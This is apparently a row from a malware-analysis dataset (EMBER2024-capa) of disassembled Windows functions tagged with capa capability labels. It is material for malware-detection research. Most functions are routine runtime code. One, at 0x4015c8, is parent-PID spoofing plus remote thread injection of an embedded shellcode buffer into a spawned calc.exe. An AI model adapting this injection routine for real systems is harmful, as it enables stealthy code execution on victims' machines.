joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140065078
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
test edx, edx
je 0x1400650b5
movzx r9d, word [rcx + 0x14]
movzx r11d, word [rcx + 6]
add r9, 0x18
add r9, rcx
test r11d, r11d
je 0x1400650b5
mov r10d, dword [r9 + 0xc]
cmp r10d, edx
ja 0x1400650a9
mov ecx, dword [r9 + 8]
add ecx, r10d
cmp ecx, edx
ja 0x1400650b8
inc r8d
add r9, 0x28
cmp r8d, r11d
jb 0x140065095
xor eax, eax
ret
mov eax, dword [r9 + 0x14]
sub eax, r10d
add eax, edx
ret

Function at 0x14006528c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1400652ba
xor eax, eax
jmp 0x1400653a0
cmp qword [rcx + 0x68], 0
je 0x1400652cb
call fcn.1400653bc
jmp 0x1400653a0
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400652e2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400652e4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140065316
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1402b1650
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14006539a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14006534d
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140065376
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14029592c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14006539a
cmp rsi, rbx
ja 0x140065354
test rsi, rsi
je 0x14006539a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14029592c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14017325c
Capabilities:
Encode data using xor

Disassembly:
movabs rax, 0x5555555555555555
mov qword [rcx + 8], rdx
mov qword [rcx + 0x1388], rax
lea r9, [rcx + 0x10]
mov r8d, 1
mov r10d, 0x138
mov rax, rdx
shr rax, 0x3e
xor rax, rdx
movabs rdx, 0x5851f42d4c957f2d
imul rdx, rax
add rdx, r8
inc r8
mov qword [r9], rdx
lea r9, [r9 + 8]
cmp r8, r10
jb 0x140173281
mov dword [rcx], r10d
mov rax, rcx
ret
Function at 0x140174e64
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov r8d, 0x138
mov rbx, rcx
cmp dword [rcx], r8d
jne 0x140174ec3
lea r9, [rcx + 0x10]
mov rdx, qword [r9]
xor rdx, qword [r9 - 8]
and rdx, 0xffffffff80000000
xor rdx, qword [r9]
lea r9, [r9 + 8]
mov al, dl
and al, 1
neg al
movabs rax, 0xb5026f5aa96619e9
sbb rcx, rcx
shr rdx, 1
and rcx, rax
xor rcx, qword [r9 + 0x4d0]
xor rcx, rdx
mov qword [r9 + 0x9b0], rcx
sub r8, 1
jne 0x140174e7c
jmp 0x140174ed0
cmp dword [rcx], 0x270
jb 0x140174ed0
call fcn.140175c14
mov eax, dword [rbx]
mov rdx, qword [rbx + rax*8 + 8]
inc eax
mov dword [rbx], eax
mov rcx, rdx
mov rax, qword [rbx + 0x1388]
shr rcx, 0x1d
and rax, rcx
movabs rcx, 0x38eb3ffff6d3
xor rdx, rax
mov rax, rdx
and rax, rcx
shl rax, 0x11
xor rdx, rax
mov rax, rdx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rdx, rax
mov rax, rdx
shr rax, 0x2b
xor rax, rdx
add rsp, 0x20
pop rbx
ret

Function at 0x140175c14
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
lea r10, [rcx + 0x9c8]
mov r9, rcx
mov rax, qword [r10]
mov r11d, 0x9c
mov rbx, 0xffffffff80000000
movabs rdi, 0xb5026f5aa96619e9
mov r8, r10
add r10, 8
mov rdx, qword [r10]
xor rdx, rax
and rdx, rbx
xor rdx, qword [r10]
mov al, dl
and al, 1
neg al
mov rax, qword [r10]
sbb rcx, rcx
shr rdx, 1
and rcx, rdi
xor rcx, qword [r8 + 0x4e0]
xor rcx, rdx
mov qword [r8 - 0x9c0], rcx
sub r11, 1
jne 0x140175c42
lea r10, [r9 + 0xea8]
mov r11d, 0x9b
mov rax, qword [r10]
mov r8, r10
add r10, 8
mov rdx, qword [r10]
xor rdx, rax
and rdx, rbx
xor rdx, qword [r10]
mov al, dl
and al, 1
neg al
mov rax, qword [r10]
sbb rcx, rcx
shr rdx, 1
and rcx, rdi
xor rcx, qword [r8 - 0xea0]
xor rcx, rdx
mov qword [r8 - 0x9c0], rcx
sub r11, 1
jne 0x140175c8e
mov rdx, qword [r9 + 8]
xor rdx, qword [r9 + 0x1380]
and rdx, rbx
mov rbx, qword [rsp + 8]
xor rdx, qword [r9 + 8]
mov al, dl
and al, 1
neg al
sbb rcx, rcx
and dword [r9], 0
and rcx, rdi
shr rdx, 1
xor rcx, qword [r9 + 0x4e0]
mov rdi, qword [rsp + 0x10]
xor rcx, rdx
mov qword [r9 + 0x9c0], rcx
ret
Function at 0x140286b50
Capabilities:
Execute syscall

Disassembly:
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], rbx
mov rbx, rax
pop qword [rax]
mov eax, dword [rax + 0x10]
mov r10, rcx
syscall
mov rcx, rbx
push qword [rcx]
mov rbx, qword [rcx + 8]
ret

Function at 0x140287968
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1402879a2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1402879a7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1402879f0
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14030f410]
cmp byte [rcx + rax], 0
je 0x1402879f0
dec r8
sub rdx, 1
jne 0x1402879d6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140287fb4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.140287a80
mov ebx, eax
test eax, eax
jne 0x140287fe4
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x140288040
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140288037
test al, 0x10
je 0x140288037
bt eax, 0xa
jae 0x140288030
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.140288058
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x14028802c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140288050
test edi, edi
jne 0x140288037
and dword [rsp + 0x3c], 0
jmp 0x14028803c
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call fcn.14029bab0
int3

Function at 0x1402890a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1402890f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1402890f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1402890f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1402890f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1402890f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1402890f4
xor al, al
add rsp, 0x28
ret

Function at 0x14029dc08
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14029da04
Function at 0x1402a4a40
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1402886c0
sub rsp, rax
mov rax, qword [0x140336800]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1402a1fdc
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1402a4a8f
mov rax, rbp
jmp 0x1402a4b97
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x349290]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1402a5b60
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x349290]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1402a4b93
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1402a4b93
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1402a5b60
test rax, rax
js 0x1402a4b93
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1402a4b93
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1402a4b85
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x1402a4b85
cmp byte [rcx], 0xd
jne 0x1402a4b6b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1402a4b7a
cmp byte [rcx + 1], 0xa
jne 0x1402a4b7a
inc rcx
jmp 0x1402a4b7a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x336c30]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1402a4b4d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1402a4b97
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140288d50
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1402a4db8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1402a4dce
mov al, 1
jmp 0x1402a4e2e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1402a4ddf
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1402a4e2c
mov ecx, dword [rcx + 0x18]
nop
call fcn.1402aa074
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1402a4e2c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1402a4e2c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1402a4e2c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1402a4e2e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1402a4f00
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140349290]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1402a4f57
cmp word [rdx], r13w
jne 0x1402a4f57
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1402a4f5c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1402a5081
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1402a50a2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1402a4f95
mov rdx, r9
mov word [rbx], cx
jmp 0x1402a4fbc
cmp r9, r8
jae 0x1402a4fcc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1402a4f76
jmp 0x1402a5081
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1402a5076
cmp dword [rsp + 0x80], esi
je 0x1402a5076
lea r8, [0x140349290]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1402a504e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1402a501e
mov word [rbx], r13w
jmp 0x1402a507e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1402a502b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1402a507e
cmp word [rsp + 0x70], r13w
jne 0x1402a505b
cmp rbx, r14
je 0x1402a5018
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1402a5b68
cmp word [rsp + 0x70], r13w
je 0x1402a5081
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140349290]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1402a507b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1402a5081
Function at 0x1402a93c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1402a9447
mov rsi, rbx
cmp word [rax], bp
je 0x1402a9406
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1402a93f0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1402a93ec
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1402a0d80
mov rdi, rax
test rax, rax
je 0x1402a9434
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1402b1650
mov rbp, rdi
xor ecx, ecx
call fcn.1402a0d44
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1402ac4d0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1402a09e4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1402ac571
cmp ebx, dword [rsp + 0x30]
je 0x1402ac56a
test esi, esi
je 0x1402ac56a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1402ac545
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1402ac552
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1402ac52f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1402ac556
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1402ac573
mov eax, 1
jmp 0x1402ac573
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1402b08e0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1402a5b68
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1402a5b68
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1402b0a30
cmp rax, 0xffffffffffffffff
je 0x1402b0a30
xor edi, edi
test rbp, rbp
jle 0x1402b09db
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1402a2648
mov rbx, rax
test rax, rax
jne 0x1402b0968
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1402b09d1
mov edx, 0x8000
mov ecx, r14d
call fcn.14029ea54
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1402a42b8
cmp eax, 0xffffffff
je 0x1402b09b1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1402b0978
mov edx, r15d
mov ecx, r14d
call fcn.14029ea54
jmp 0x1402b09d1
cmp byte [rsi + 0x38], dil
je 0x1402b09c8
cmp dword [rsi + 0x34], 5
jne 0x1402b09c8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1402b09d1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1402a0d44
jmp 0x1402b0a44
jns 0x1402b0a44
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1402a5b68
cmp rax, 0xffffffffffffffff
jne 0x1402b09fc
cmp byte [rsi + 0x30], dil
je 0x1402b0a44
mov edi, dword [rsi + 0x2c]
jmp 0x1402b0a44
mov ecx, r14d
call fcn.1402aa074
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1402b0a44
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1402b0a44
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1402b0a3d
mov eax, dword [rsi + 0x2c]
jmp 0x1402b0a42
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1402a5b68
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1402b1280
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1402b12a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1402b12a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00412e00]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00412e10]
mov dword [rax], 1
mov rax, qword [0x00412e20]
mov dword [rax], 1
mov rax, qword [0x00412da0]
cmp word [rax], 0x5a4d
jne 0x40105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00412df0]
mov dword [0x00415020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00412ee0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x00412ec0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00412d30]
cmp dword [rax], 1
je 0x4010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401110
cmp dx, 0x20b
jne 0x40105a
cmp dword [rax + 0x84], 0xe
jbe 0x40105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x40105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x40105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x40105a
Function at 0x4015c8
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode
Spoof parent pid

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x520
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x80]
lea rdx, [0x00412020]
mov ecx, 0x39
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
lea rdx, [rbp + 0x24d]
mov eax, 0
mov byte [rdx], al
add rdx, 1
mov word [rdx], ax
add rdx, 2
mov ecx, 0x46
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, str._____PPID_:
mov rcx, rax
call sym.printf
lea rax, [0x00415040]
mov rdx, rax
lea rax, [0x0041200e]
mov rcx, rax
call sym.scanf
mov eax, dword [0x00415040]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x78], rax
mov rax, rbp
mov r8d, 0x70
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x20]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x28]
mov r9, rax
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
lea rdx, [rbp - 0x28]
mov r9, rdx
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rax, qword [rbp + 0x68]
lea rdx, [rbp + 0x78]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov rax, rbp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.calc.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x49c], eax
mov eax, dword [rbp + 0x49c]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x490], rax
mov rax, qword [rbp + 0x490]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x400
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x488], rax
lea rcx, [rbp + 0x80]
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x490]
mov qword [rsp + 0x20], 0
mov r9d, 0x400
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x490]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov eax, 0
add rsp, 0x520
pop rsi
pop rdi
pop rbp
ret
Function at 0x401ba0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x401c10
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004150c4]
test esi, esi
mov rbx, rcx
jle 0x401d40
mov rax, qword [0x004150c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x401c5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x401ce5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x401c40
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x401d62
mov rax, qword [0x004150c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x004150c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401d47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401cde
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x401cf0
add dword [0x004150c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x004150c8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401cde
